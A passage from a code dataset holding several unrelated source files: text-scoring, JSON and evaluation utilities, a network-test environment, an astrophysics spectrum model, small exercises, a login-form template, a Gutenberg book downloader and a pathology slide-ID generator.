0:即目前的数据中,没有rel和t共现的,所以在t类型中,就不用考虑rel,即不需要将score(rel)算在t里\n newDict = scoreByTypeDict[type]\n newDict[candidateRel] = scoreByRelDict[type]\n # print(scoreByTypeDict)\n sortedScoreByTypeDict = dict()\n for type in types:\n scoreByType = scoreByTypeDict[type]\n sortedScoreByType = sorted(scoreByType.items(), key=lambda item: item[1], reverse=True)\n sortedScoreByTypeDict[type] = sortedScoreByType\n\n name = \"\"\n for type in types:\n name += \"(\" + type + \")+\"\n step4_filterTriples.writeJsonFile(sortedScoreByTypeDict, types, name + \"Score.json\")\n return sortedScoreByTypeDict\n # for type in types:\n\n\n\n\n\n\nif __name__ == \"__main__\":\n type_list = ['loc-loc','loc-per']\n # print(getScore(type_list ,\"位于_v\"))\n scoreDict = sortedByScore(type_list)\n print(scoreDict)\n name = \"\"\n for type in type_list:\n name += \"(\"+type+\")+\"\n with open('document-level-output\\\\'+name+'score.json', 'w',\n encoding='utf-8') as json_file:\n json_file.write(json.dumps(scoreDict, ensure_ascii=False))","sub_path":"entity_verb/document-level/step2_getScore.py","file_name":"step2_getScore.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"390994666","text":"import simplejson as json\nfrom collections import OrderedDict\n\n#from log import Logger\n#logger = Logger(name='firms-fpb', config_path='/home/netauto/FiRMS/builder/config/log/logging.json')\n\n# This file will have the functions only related to JSON\n\n# Function Name - read_json_file\n# Input parameters - JSON File\n# Description - This function will take json file and convert to a data structure format\n# Output - JSON Data structure\ndef read_json_file (file):\n\n try:\n with open(file) as json_data:\n jsonData = json.load(json_data,object_pairs_hook=OrderedDict)\n except Exception as e:\n #logger.error ('Failed to open JSON file for reading' . format (e))\n print ('Failed to open JSON file for reading' . format (e))\n\n return jsonData\n\n# Function Name - write_json_file\n# Input parameters - JSON File\n# Description - This function will take json data struct and convert into JSON File\n# Output - JSON File\ndef write_json_file (data_struct, output_filename):\n\n j = json.dumps(data_struct)\n #j = json.dumps(data_struct, ensure_ascii=False).encode('utf8')\n \n # Write to file\n try:\n with open(output_filename, 'w') as f:\n f.write(j)\n #f.write(j.encode(\"utf-8\"))\n except Exception as e:\n #logger.error ('Failed to open JSON file for writing' . format (e))\n print ('Failed to open JSON file for writing' . format (e))\n\n return 1\n","sub_path":"FiRMS/My_Work/common/json_utilities.py","file_name":"json_utilities.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"484532473","text":"import json\nimport os\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom basic.read_data import DataSet\n\n\nclass Evaluation(object):\n def __init__(self, data_type, global_step, yp):\n self.data_type = data_type\n self.global_step = global_step\n self.yp = yp\n self.num_examples = len(yp)\n self.dict = {'data_type': data_type,\n 'global_step': global_step,\n 'yp': yp,\n 'num_examples': self.num_examples}\n self.summary = None\n\n def __repr__(self):\n return \"{} step {}\".format(self.data_type, self.global_step)\n\n def __add__(self, other):\n if other == 0:\n return self\n assert self.data_type == other.data_type\n assert self.global_step == other.global_step\n new_yp = self.yp + other.yp\n return Evaluation(self.data_type, self.global_step, new_yp)\n\n def __radd__(self, other):\n return self.__add__(other)\n\n\nclass AccuracyEvaluation(Evaluation):\n def __init__(self, data_type, global_step, yp, correct, loss):\n super(AccuracyEvaluation, self).__init__(data_type, global_step, yp)\n self.loss = loss\n self.correct = correct\n self.acc = sum(correct) / len(correct)\n self.dict['loss'] = loss\n self.dict['correct'] = correct\n self.dict['acc'] = self.acc\n value = tf.Summary.Value(tag='dev/loss', simple_value=self.loss)\n self.summary = tf.Summary(value=[value])\n\n def __repr__(self):\n return \"{} step {}: accuracy={}, loss={}\".format(self.data_type, self.global_step, self.acc, self.loss)\n\n def __add__(self, other):\n if other == 0:\n return self\n assert self.data_type == other.data_type\n assert self.global_step == other.global_step\n new_yp = self.yp + other.yp\n new_correct = self.correct + other.correct\n new_loss = (self.loss * self.num_examples + other.loss * other.num_examples) / len(new_correct)\n return AccuracyEvaluation(self.data_type, self.global_step, new_yp, new_correct, new_loss)\n\n\nclass Evaluator(object):\n def __init__(self, config, model):\n self.config = config\n self.model = model\n\n def get_evaluation(self, sess, data_set):\n feed_dict = self.model.get_feed_dict(data_set, supervised=False)\n global_step, yp = sess.run([self.model.global_step, self.model.yp], feed_dict=feed_dict)\n yp = yp[:data_set.num_examples]\n e = Evaluation(data_set.data_type, int(global_step), yp.tolist())\n return e\n\n def get_evaluation_from_batches(self, sess, batches):\n e = sum(self.get_evaluation(sess, batch) for batch in batches)\n return e\n\n\nclass AccuracyEvaluator(Evaluator):\n def get_evaluation(self, sess, data_set):\n assert isinstance(data_set, DataSet)\n feed_dict = self.model.get_feed_dict(data_set)\n global_step, yp, loss = sess.run([self.model.global_step, self.model.yp, self.model.loss], feed_dict=feed_dict)\n y = np.array(data_set.data['Y'])\n yp = yp[:data_set.num_examples]\n correct = np.argmax(yp, 1) == y\n e = AccuracyEvaluation(data_set.data_type, int(global_step), yp.tolist(), correct.tolist(), float(loss))\n return e\n\n","sub_path":"basic/evaluator.py","file_name":"evaluator.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"137478519","text":"import json\n\nfrom networking_nsxv3.plugins.ml2.drivers.nsxv3.agent import agent, client_nsx\nfrom networking_nsxv3.tests.unit import openstack\nfrom oslo_log import log as logging\n\nLOG = logging.getLogger(__name__)\n\n\nclass Environment(object):\n\n def __init__(self, name=\"Default\", inventory=None, synchronization=True):\n self.name = name\n self.synchronization = synchronization\n self.openstack_inventory = openstack.NeutronMock()\n if inventory:\n self.openstack_inventory.reload_inventory(inventory)\n\n def __enter__(self):\n client_nsx.Client._instances.clear()\n self.rpc = openstack.TestNSXv3ServerRpcApi(self.openstack_inventory)\n self.manager = agent.NSXv3Manager(rpc=self.rpc, synchronization=self.synchronization, monitoring=False)\n rpc = self.manager.get_rpc_callbacks(None, None, None)\n notifier = openstack.TestNSXv3AgentManagerRpcCallBackBase(rpc)\n self.openstack_inventory.register(notifier)\n # LOG.info(\"Environment:%s initial state of OpenStack inventory: %s\", self.name, self.dump_openstack_inventory())\n # LOG.info(\"Environment:%s initial state of NSX-T inventory: %s\", self.name, self.dump_provider_inventory())\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.manager.shutdown()\n # LOG.info(\"Environment:%s final state of OpenStack inventory: %s\", self.name, self.dump_openstack_inventory())\n # LOG.info(\"Environment:%s final state of NSX-T inventory: %s\", self.name, self.dump_provider_inventory())\n\n @property\n def version(self):\n return self.manager.realizer.plcy_provider.client.version\n\n def is_management_api_mode(self):\n return False\n\n def dump_openstack_inventory(self, printable=True):\n o = self.openstack_inventory.inventory\n return json.dumps(o, indent=4) if printable else o\n\n def dump_provider_inventory(self, printable=True):\n def provider_dict(meta_provider):\n mt = meta_provider.meta.meta_transaction\n return {\n \"endpoint\": meta_provider.endpoint,\n \"meta\": meta_dict(meta_provider.meta.meta),\n \"meta_transaction\": meta_dict(mt) if mt else {}\n }\n\n def meta_dict(meta):\n return {\n k: v.__dict__ for k, v in meta.items()\n }\n\n mngr_metadata = self.manager.realizer.mngr_provider._metadata\n plcy_metadata = self.manager.realizer.plcy_provider._metadata\n\n mngr_meta = {r: provider_dict(m) for r, m in mngr_metadata.items()}\n plcy_meta = {r: provider_dict(m) for r, m in plcy_metadata.items()}\n\n return\\\n (json.dumps(mngr_meta, indent=4), json.dumps(plcy_meta, indent=4))\\\n if printable else\\\n (mngr_meta, plcy_meta)\n","sub_path":"networking_nsxv3/tests/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"275902332","text":"import matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nimport numpy as np\nimport csv\nfrom scipy import integrate\nfrom math import *\nfrom multiprocessing import Pool\n\n\nclass OneSkyArea:\n def __init__(self, l, b,code_v_list, v_list):\n\n self.wavelength = 21.6\n self.v_r = 0\n self.v_phi = 180\n self.v_z = 0\n self.v_e = 180\n\n self.l = l\n self.b = b\n\n self.code_v_list = code_v_list\n self.v_list = np.array(v_list)\n self.i_list = list()\n self.code_centroid = 0\n self.code_shift_b = 0\n self.centroid = 0\n self.shift_b = 0\n\n\n self.dr, self.beta, self.rc, self.doppler_b = 1.5, 0.5, 2.5, 50\n self.s_max = r_e * cos(self.b) * cos(self.l) + sqrt(r_e**2 * cos(self.l)**2 * cos(self.b)**2 -r_e**2 + 300**2)\n self.n = self.dr / (self.rc**(3 * self.beta))\n self.emissivity = 6.05 if self.wavelength == 21.6 else 1.45\n self.emissivity *= 308.6 / (4 * pi)\n self.n_factor = self.n * 0.015 * 0.7 * 0.01 * self.wavelength * (3.086 * 1e4) \\\n * (0.3 * 0.5 * 5.5) / self.doppler_b\n\n print (np.rad2deg(self.l), np.rad2deg(self.b))\n self.i_list = np.array([self.emission_line(_) for _ in self.v_list])\n print (len(self.i_list))\n self.analy_statistic()\n self.code_statistic()\n\n def analy_statistic(self):\n accumulation = [0]\n d = self.v_list[1] - self.v_list[0]\n for i, _ in enumerate(self.i_list):\n if i > 0:\n accumulation.append(accumulation[-1] + (self.i_list[i] + self.i_list[i - 1]) * d / 2)\n\n for i, _ in enumerate(accumulation):\n if _ <= accumulation[-1]/2 <= accumulation[i + 1]:\n self.centroid = (self.v_list[i] + self.v_list[i + 1]) / 2\n break\n self.i_list /= accumulation[-1]\n sigma = np.sum(self.i_list * (self.v_list - self.centroid) ** 2)\n self.shift_b = sqrt(2 * sigma)\n\n\n def nr(self, r):\n return (1 + (r / self.rc)**2)**(-3 * self.beta / 2)\n\n def code_statistic(self):\n self.code_centroid = np.array(self.code_v_list).mean()\n self.code_shift_b = np.sqrt(2*np.array(self.code_v_list).var())\n\n def profile(self, v):\n return exp(-v**2 / self.doppler_b**2) / sqrt(pi) / self.doppler_b\n\n def abs_contribution(self, s, v_obs):\n x = -s * cos(self.b) * sin(self.l)\n z = s * sin(self.b)\n r = sqrt((s**2 + r_e**2 - 2 * s * r_e * cos(self.b) * cos(self.l)))\n cos_theta = z/r\n sin_theta = sqrt(1 - cos_theta**2)\n cos_phi = x / r / sin_theta\n v_shift = (self.v_e * x\n - r_e * cos_phi * (self.v_r * sin_theta + self.v_phi)\n - z * (self.v_r * cos_theta + self.v_z)) / s\n phi = self.profile(v_obs - v_shift)\n tau = self.n_factor * self.nr(r) * phi\n return tau\n\n def absorption_line(self, v_obs, s_max):\n tau, err = integrate.quad(lambda s: self.abs_contribution(s, v_obs), 0, s_max)\n return exp(-tau)\n\n def emt_contribution(self, s, v_obs):\n x = -s * cos(self.b) * sin(self.l)\n z = s * sin(self.b)\n r = sqrt((s**2 + r_e**2 - 2 * s * r_e * cos(self.b) * cos(self.l)))\n cos_theta = z/r\n sin_theta = sqrt(1 - cos_theta**2)\n cos_phi = x / r / sin_theta\n v_shift = (self.v_e * x\n - r_e * cos_phi * (self.v_r * sin_theta + self.v_phi)\n - z * (self.v_r * cos_theta + self.v_z)) / s\n phi = self.profile(v_obs - v_shift)\n return self.n ** 2 * self.nr(r) ** 2 * phi * self.emissivity\n\n def emission_line(self, v_obs):\n def f(s, v_obs):\n emissivity = self.emt_contribution(s, v_obs)\n return emissivity * self.absorption_line(v_obs, s)\n i, err = integrate.quad(lambda s: f(s, v_obs), 0, self.s_max)\n return i\n\nclass AllSkyArea:\n def __init__(self, l_list, b_list, wavelength):\n self.l_list = np.deg2rad(np.array(l_list))\n self.b_list = np.deg2rad(np.array(b_list))\n self.coord_list = list()\n for l_i in self.l_list:\n for b_i in self.b_list:\n self.coord_list.append([l_i, b_i])\n self.sky_area_list = list()\n self.d_rad = np.pi / 20\n self.v_list_list = list()\n self.wavelength = wavelength\n self.nu_0 = 30 / self.wavelength\n self.distribute()\n\n\n\n def give_belonger(self, l, b):\n for idx, _ in enumerate(self.coord_list):\n if np.abs(_[0] - l) < self.d_rad:\n if np.abs(np.sin(_[1]) - np.sin(b)) < self.d_rad:\n return idx\n return -1\n\n def create_sky_area(self, idx):\n v_list = np.linspace(-350, 350, 1000)\n temp = OneSkyArea(self.coord_list[idx][0], self.coord_list[idx][1], self.v_list_list[idx], v_list=v_list)\n return (idx, temp)\n\n def distribute(self):\n for _ in self.coord_list:\n v_list = list()\n self.v_list_list.append(v_list)\n self.sky_area_list.append(0)\n\n for i in range(code_length):\n l, b = code_l[i], code_b[i]\n idx = self.give_belonger(l, b)\n if idx >= 0:\n self.v_list_list[idx].append((code_nu[i]-self.nu_0)/self.nu_0*3e5)\n\n def calculate(self):\n coord_num = len(self.coord_list)\n p = Pool(processes=coord_num)\n result = p.map(self.create_sky_area, np.arange(coord_num))\n p.close()\n p.join()\n for _ in result:\n self.sky_area_list[_[0]] = _[1]\n\ndef visualize(obj):\n fig, axes = plt.subplots(figsize=(15, 10), nrows=len(b_list), ncols=len(l_list), sharex=False, sharey=False)\n for i, l in enumerate(l_list):\n for j, b in enumerate(b_list):\n if j == len(b_list) -1:\n axes[len(obj.b_list) - j - 1][i].set_title(r'$l=%d^{\\circ}$' % l)\n if b == 90 and i != len(obj.l_list) - 1:\n\n axes[len(obj.b_list) - j - 1][i].spines['top'].set_color('none')\n axes[len(obj.b_list) - j - 1][i].spines['bottom'].set_color('none')\n axes[len(obj.b_list) - j - 1][i].spines['left'].set_color('none')\n axes[len(obj.b_list) - j - 1][i].spines['right'].set_color('none')\n axes[len(obj.b_list) - j - 1][i].set_yticks([])\n axes[len(obj.b_list) - j - 1][i].set_xticks([])\n continue\n axes[len(obj.b_list) - j - 1][i].hist(obj.sky_area_list[i*len(obj.b_list)+j].code_v_list, bins=30, histtype='stepfilled',\n color='green', alpha=0.4, normed=True, label='u=%1.1f, b=%1.1f'\n % (obj.sky_area_list[i*len(obj.b_list)+j].code_centroid, obj.sky_area_list[i*len(obj.b_list)+j].code_shift_b))\n axes[len(obj.b_list) - j - 1][i].legend(loc='best', fontsize=8)\n axes[len(obj.b_list) - j - 1][i].plot([obj.sky_area_list[i*len(obj.b_list)+j].code_centroid, obj.sky_area_list[i*len(obj.b_list)+j].code_centroid],\n [0, 0.020],'--' ,color='green')\n\n axes[len(obj.b_list) - j - 1][i].plot(obj.sky_area_list[i*len(obj.b_list)+j].v_list, obj.sky_area_list[i*len(obj.b_list)+j].i_list,\n color='orange', lw=2, alpha=0.7)\n axes[len(obj.b_list) - j - 1][i].plot([obj.sky_area_list[i*len(obj.b_list)+j].centroid, obj.sky_area_list[i*len(obj.b_list)+j].centroid],\n [-0.0055, 0.020], '--', color='orange')\n if j == 0:\n axes[len(obj.b_list) - j - 1][i].set_xlabel(r'$v\\,(\\mathrm{km}\\,\\mathrm{s}^{-1})$')\n axes[len(obj.b_list) - j - 1][i].set_xticks([-200, 0, 200])\n else:\n axes[len(obj.b_list) - j - 1][i].set_xticks([])\n if i == 0:\n axes[len(obj.b_list) - j - 1][i].set_ylabel(r'$\\mathrm{normalized\\,\\,count\\,\\,rate}$')\n axes[len(obj.b_list) - j - 1][i].set_yticks([0,0.005, 0.010])\n else:\n if b == 90:\n axes[len(obj.b_list) - j - 1][i].set_ylabel(r'$\\mathrm{normalized\\,\\,count\\,\\,rate}$')\n axes[len(obj.b_list) - j - 1][i].set_yticks([0.005, 0.010])\n else:\n axes[len(obj.b_list) - j - 1][i].set_yticks([])\n if l == l_list[-1]:\n ax = axes[len(obj.b_list) - j - 1][i].twinx()\n ax.set_yticks([])\n ax.set_ylabel(r'$b=%d^{\\circ}$' % b, rotation=0, labelpad=20)\n axes[len(obj.b_list) - j - 1][i].set_ylim(0, 0.012)\n\n plt.subplots_adjust(wspace=0, hspace=0)\n plt.savefig('spectrum_b=50.eps')\n\nif __name__ == '__main__':\n datafile = 'rotation_data_O7_v=180_dr=1.35_beta=0.50_rc=3.0_b=150.csv'\n code_l, code_b, code_nu = np.loadtxt(datafile, dtype='float', delimiter=',', unpack=True, usecols=(0, 1, 2))\n code_length = len(code_l)\n r_e = 8.5\n l_list = [0, 30, 45, 90, 135, 150, 180]\n b_list = [10, 30, 60, 90]\n all_sky = AllSkyArea(l_list=l_list, b_list=b_list, wavelength=21.6)\n all_sky.calculate()\n visualize(all_sky)\n","sub_path":"Visualization/code_line_shape.py","file_name":"code_line_shape.py","file_ext":"py","file_size_in_byte":9274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"534945418","text":"def my_range(max_number):\n sequence = []\n index = 0\n while index < max_number:\n sequence.append(index)\n index += 1\n return sequence\n\n\nl = my_range(10)\nprint(l)\n\n\n# 上边的创建list区间小没有问题,但是如果创建一个1亿个长度的列表,内存肯定不够的,这个时候需要用生成器来创建\n\ndef lazy_range(Max_number):\n index = 0\n while index < Max_number:\n yield index\n index += 1\n\n\ng = lazy_range(10000000000000000)\nprint(g)\n\nfor x in range(10):\n print(next(g))\n\n#生成器其实是协程的雏形了\n","sub_path":"协程/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"157007377","text":"def eh_tabuleiro(t):\n if isinstance(t, tuple):\n for i in range(3):\n if not isinstance(t[i], tuple):\n return False\n elif i < 2:\n if len(t[i]) != 3:\n return False\n elif i == 2:\n if len(t[i]) != 2:\n return False\n return True\n else:\n return False\n\ndef tabuleiros_str(t):\n def aux(t, i, e):\n if t[i][e] == -1:\n return 'x'\n elif t[i][e] == 0:\n return '0'\n elif t[i][e] == 1:\n return '1'\n if not eh_tabuleiro(t):\n raise ValueError('tabuleiro_str: argumento invalido')\n else:\n a = '+-------+\\n'\n b = '|...' + aux(t,0,2) + '...|\\n'\n c = '|..' + aux(t,0,1) + '.' + aux(t,1,2) + '..|\\n'\n d = '|.' + aux(t,0,0) + '.' + aux(t,1,1) + '.' + aux(t,2,1) + '.|\\n'\n e = '|..' + aux(t,1,0) + '.' + aux(t,2,0) + '..|\\n'\n return a + b + c + d + e + a\n\n\ndef tabuleiros_iguais(t1, t2):\n if not eh_tabuleiro(t1) or not eh_tabuleiro(t2):\n raise ValueError('Um dos argumentos nao e um tabuleiro')\n else:\n return t1 == t2\n\ndef mud_v(mat, tup, elem):\n if mat[tup][elem] == 1:\n return 0\n elif mat[tup][elem] == 0:\n return 1\n else:\n return -1\n\n#Alterar esta merda toda, ie, x e z\n\ndef porta_x(t, c):\n if not eh_tabuleiro(t) or (c != 'E' and c != 'D'):\n raise ValueError('porta_x\" um dos argumentos e invalido')\n elif c == 'E':\n t = ((mud_v(t, 0, 0), mud_v(t, 0, 1), mud_v(t, 0, 2)), (mud_v(t, 1, 0), mud_v(t, 1, 1), mud_v(t, 1, 2)), t[2])\n elif c == 'D':\n t = (t[0][0], mud_v(t, 0, 1), mud_v(t, 0, 2)), (t[1][0], mud_v(t, 1, 1), mud_v(t, 1, 2)), (mud_v(t, 2, 0), mud_v(t, 2, 1))\n return t\n\ndef porta_z(t, c):\n porta_x(t, c)\n\ndef porta_h(t, c):\n if not eh_tabuleiro(t) or (c != 'E' and c != 'D'):\n raise ValueError('porta_x\" um dos argumentos e invalido')\n elif c == 'E':\n t = (t[1],t[0],t[2])\n elif c == 'D':\n t = ((t[0][0],t[0][2],t[0][1]),(t[1][0],t[1][2],t[1][1]),(t[2][1],t[2][0]))\n return t\n\n\nt = ((-1, -1, -1), (0, -1, 0), (-1, 0))\n\na = porta_h(t, 'E')\n\nprint(a)","sub_path":"projectoFP.py","file_name":"projectoFP.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"11457899","text":"# -*- coding:ascii -*-\nfrom mako import runtime, filters, cache\nUNDEFINED = runtime.UNDEFINED\n__M_dict_builtin = dict\n__M_locals_builtin = locals\n_magic_number = 10\n_modified_time = 1428426029.411011\n_enable_loop = True\n_template_filename = 'C:\\\\Users\\\\John\\\\test_dmp\\\\homepage\\\\templates/login.loginform.html'\n_template_uri = 'login.loginform.html'\n_source_encoding = 'ascii'\nimport os, os.path, re\n_exports = ['content']\n\n\ndef _mako_get_namespace(context, name):\n try:\n return context.namespaces[(__name__, name)]\n except KeyError:\n _mako_generate_namespaces(context)\n return context.namespaces[(__name__, name)]\ndef _mako_generate_namespaces(context):\n pass\ndef _mako_inherit(template, context):\n _mako_generate_namespaces(context)\n return runtime._inherit_from(context, 'base_ajax.htm', _template_uri)\ndef render_body(context,**pageargs):\n __M_caller = context.caller_stack._push_frame()\n try:\n __M_locals = __M_dict_builtin(pageargs=pageargs)\n def content():\n return render_content(context._locals(__M_locals))\n form = context.get('form', UNDEFINED)\n __M_writer = context.writer()\n __M_writer('\\r\\n\\r\\n<!--nothing to import-->\\r\\n\\r\\n')\n if 'parent' not in context._data or not hasattr(context._data['parent'], 'content'):\n context['self'].content(**pageargs)\n \n\n __M_writer('\\r\\n')\n return ''\n finally:\n context.caller_stack._pop_frame()\n\n\ndef render_content(context,**pageargs):\n __M_caller = context.caller_stack._push_frame()\n try:\n def content():\n return render_content(context)\n form = context.get('form', UNDEFINED)\n __M_writer = context.writer()\n __M_writer('\\r\\n <div id=\"loginform_container\" align=\"center\">\\r\\n <form id=\"loginform\" method=\"POST\" action=\"/homepage/login.loginform/\">\\r\\n <table>\\r\\n ')\n __M_writer(str( form ))\n __M_writer('\\r\\n </table>\\r\\n <div id=\"submit_button_container\" align=\"center\">\\r\\n <button id=\"submit_button\" class=\"btn btn-warning\" type=\"submit\">Login</button>\\r\\n <a class=\"btn btn-link\" href=\"/login.ldap/\">Active Directory</button>\\r\\n <a class=\"btn btn-link\" href=\"/password_reset/\">Forget Passsword?</button>\\r\\n </div>\\r\\n </form>\\r\\n </div>\\r\\n')\n return ''\n finally:\n context.caller_stack._pop_frame()\n\n\n\"\"\"\n__M_BEGIN_METADATA\n{\"source_encoding\": \"ascii\", \"uri\": \"login.loginform.html\", \"filename\": \"C:\\\\Users\\\\John\\\\test_dmp\\\\homepage\\\\templates/login.loginform.html\", \"line_map\": {\"35\": 1, \"53\": 5, \"54\": 9, \"55\": 9, \"40\": 18, \"27\": 0, \"61\": 55, \"46\": 5}}\n__M_END_METADATA\n\"\"\"\n","sub_path":"homepage/cached_templates/templates/login.loginform.html.py","file_name":"login.loginform.html.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"493431113","text":"#!/usr/bin/python\n\n'''\nUsing the CELLEX framework for finding cell-type specificity of genes\n'''\n\nimport numpy as np\nimport pandas as pd\nimport cellex\n\ndef run_cellex(data, metadata, human=False, result='esmu'):\n eso = cellex.ESObject(data=data, annotation=metadata, verbose=True)\n eso.compute(verbose=True)\n if human:\n cellex.utils.mapping.mouse_symbol_to_mouse_ens(eso.results[\"esmu\"], drop_unmapped=True, verbose=True)\n cellex.utils.mapping.mouse_ens_to_human_ens(eso.results[\"esmu\"], drop_unmapped=True, verbose=True)\n return eso.results[result]\n","sub_path":"python/CELLEX.py","file_name":"CELLEX.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"334096441","text":"# 06-gutenberg.py\n# written by montoyamoraga\n# runs with Python3\n# date: 2019-01-14\n\n# script that downloads a random book from the Gutenberg projet\n\n# import Python modules\n# we will use requests, install with\n# pip install requests\n# requests module documentation\n# http://docs.python-requests.org/en/master/\nimport requests\n# import random module\nimport random\n\n# sample request, where XXXX is a number between 0-9999\n# http://www.gutenberg.org/cache/epub/XXXX/pgXXXX.txt\n\n# variable for request\nrandomNumber = random.randint(0,9999)\n\n# build gutenberg project request with the variables\ngutenbergRequest = \"http://www.gutenberg.org/cache/epub/\" + str(randomNumber) + \"/pg\" + str(randomNumber) + \".txt\"\n\n# make the request and store result in response\nresponse = requests.get(gutenbergRequest)\n\n# parse the response to string\ntext = response.text\n\n# print book to console\nprint(text)\n","sub_path":"code/week1/06-gutenberg.py","file_name":"06-gutenberg.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"174790766","text":"#!/usr/bin/env python3\r\n\r\n########################################################################################################################\r\n# ASTgen\r\n# Created by Sigfredo Soto-Diaz\r\n\r\n# This code reads in the location of AstropathPaths.csv and Astrodef.csv <mpath>\r\n# and generates SlideIDs for all specimens within the scope of AstropathPaths.csv.\r\n# This should be run before the Transfer Demon script and should be run within <spath> server.\r\n########################################################################################################################\r\nimport os\r\nimport pathlib\r\nimport csv\r\nimport re\r\nimport sys\r\nimport numpy\r\nimport time\r\nimport argparse\r\nfrom operator import itemgetter\r\nfrom ...shared import shared_tools as st\r\n\r\n\r\n#\r\n# Reads source csv and takes directories\r\n#\r\ndef update_source_csv(csv_file):\r\n #\r\n # Open and read file\r\n #\r\n attempts = 0\r\n try:\r\n lines = st.read_csv(csv_file)\r\n #\r\n # Get and return relevant strings and convert filepath format to something Jenkins can read\r\n #\r\n regex = '/|\\\\\\\\'\r\n proj = [i.split(',')[0] for i in lines[1:]]\r\n dpath = ['/'.join(re.split(regex, i.split(',')[1])) for i in lines[1:]]\r\n dname = [i.split(',')[2] for i in lines[1:]]\r\n spath = ['/'.join(re.split(regex, i.split(',')[3])) for i in lines[1:]]\r\n return dname, dpath, spath, proj\r\n except OSError:\r\n attempts = attempts + 1\r\n time.sleep(10)\r\n if attempts == 5:\r\n descriptor = \"Cannot access/parse: {0}\".format(csv_file)\r\n log_string = \"WARNING: \" + descriptor + \" after \" \\\r\n + str(attempts) + \" attempts.\"\r\n print(log_string)\r\n return [], [], [], []\r\n\r\n\r\n#\r\n# Create record keeping folders if they do not already exist\r\n#\r\ndef create_folders(dname, dpath):\r\n folders = [\"upkeep_and_progress\", \"Flatfield\", \"logfiles\", \"Batch\", \"Clinical\",\r\n \"Ctrl\", \"dbload\", \"tmp_inform_data\", \"reject\"]\r\n for f in range(len(folders)):\r\n if not os.path.exists(dpath + '/' + dname + '/' + folders[f]):\r\n os.mkdir(dpath + '/' + dname + '/' + folders[f])\r\n return dpath + '/' + dname + '/' + folders[0]\r\n\r\n\r\ndef ast_gen(mpath, csv_file, mastro_csv):\r\n dname, dpath, spath, proj = update_source_csv(csv_file)\r\n if not dname:\r\n return\r\n for pos in range(0, len(dname)):\r\n if not os.path.exists(spath[pos] + '/' + dname[pos]):\r\n continue\r\n if not os.path.exists(dpath[pos] + '/' + dname[pos]):\r\n continue\r\n uppath = create_folders(dname[pos], dpath[pos])\r\n patient, batch_id, cohort = extract_data(dname[pos], spath[pos], mpath)\r\n if not patient:\r\n continue\r\n slide_id_csv(patient, batch_id, mastro_csv, uppath, proj[pos], cohort)\r\n\r\n\r\n#\r\n# Extract the patient#s and BatchIDs for each specimen\r\n#\r\ndef extract_data(dname, spath, mpath):\r\n specimen_path = spath + '/' + dname + '/' + \"Specimen_Table.xlsx\"\r\n cohort_path = str(mpath) + '/' + 'AstropathCohortsProgress.csv'\r\n if not os.path.exists(specimen_path)\\\r\n or not os.path.exists(cohort_path):\r\n return [], [], []\r\n attempts = 0\r\n try:\r\n #\r\n # get patient#s and batch ids\r\n #\r\n data_mat = st.extract_specimens(specimen_path, ['Patient #', 'Batch ID'])\r\n #\r\n # opening cohorts progress file and getting cohort information\r\n #\r\n cohorts = st.read_csv(cohort_path)\r\n projects = [i.split(',')[0] for i in cohorts[1:]]\r\n cohort = [i.split(',')[1] for i in cohorts[1:]]\r\n cohort_list = [projects, cohort]\r\n return data_mat[0], data_mat[1], cohort_list\r\n except OSError:\r\n attempts = attempts + 1\r\n time.sleep(10)\r\n if attempts == 5:\r\n descriptor = \"Cannot open/parse either: {0} or {1}\".format(cohort_path, specimen_path)\r\n log_string = \"WARNING: \" + descriptor + \" after \" \\\r\n + str(attempts) + \" attempts.\"\r\n print(log_string)\r\n return [], [], []\r\n\r\n\r\n#\r\n# Generate SlideIDs for all slides starting from highest SlideID in master Astrodef.csv\r\n#\r\ndef next_slide_id(mastro_csv, local_string, st_patient, st_batch_id, proj):\r\n tags = ['SlideID', 'SampleName', 'Project', 'Cohort', 'BatchID']\r\n if not os.path.exists(local_string):\r\n with open(local_string, 'w', newline='') as f:\r\n writer = csv.DictWriter(f, fieldnames=tags)\r\n writer.writeheader()\r\n #\r\n # Read in master csv and determine starting point of new SlideIDs\r\n #\r\n if os.path.exists(mastro_csv):\r\n lines = st.read_csv(mastro_csv)\r\n slide_id_list = [i.split(',')[0] for i in lines[1:]]\r\n slide_id_list = [s.replace('AP', '') for s in slide_id_list]\r\n slide_id_list = [idx[3:7] for idx in slide_id_list if idx[0:3].lower() == proj]\r\n if not slide_id_list:\r\n slide_id = 1\r\n new_patient = st_patient\r\n else:\r\n at_patient = [i1.split(',')[1] for i1 in lines[1:]]\r\n slide_id = max(map(int, slide_id_list)) + 1\r\n new_patient = numpy.setdiff1d(st_patient, at_patient, assume_unique=True)\r\n else:\r\n with open(mastro_csv, 'w', newline='') as f:\r\n writer = csv.DictWriter(f, fieldnames=tags)\r\n writer.writeheader()\r\n slide_id = 1\r\n new_patient = st_patient\r\n if len(new_patient) == 0:\r\n return [], [], []\r\n new_batch_id = [st_batch_id[st_patient.index(new_patient[b])] for b in range(len(new_patient))]\r\n new_slide_id = [\"AP\" + proj + str(n + slide_id).zfill(4) for n in range(len(new_patient))]\r\n return new_slide_id, new_patient, 